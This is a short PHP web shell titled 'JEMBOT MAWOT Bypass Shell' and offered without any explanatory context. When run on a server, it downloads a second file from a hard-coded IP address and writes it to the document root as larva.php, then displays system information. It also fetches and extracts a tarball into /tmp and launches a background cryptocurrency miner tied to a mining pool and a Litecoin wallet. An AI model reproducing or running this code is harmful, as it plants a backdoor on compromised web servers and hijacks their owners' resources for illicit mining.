JEMBOT MAWOT Bypass Shell

<?php
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/larva.php" ;
$text = http_get('http://185.213.209.151/larva');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
}
echo '<center><h1>IDBTE4M CODE 87</h1>'.'<br>'.'[uname] '.php_uname().' [/uname] <br>'; system('cd /tmp; wget http://185.213.209.151/k2.tar.gz; tar -zxf k2.tar.gz; ./systemc -a cpupower -o stratum+tcp://mine.zpool.ca:6240 -u MK5Rkety2P6kQYkbNoobpS9fXeeJtFDnRP -p c=LTC --background');
?>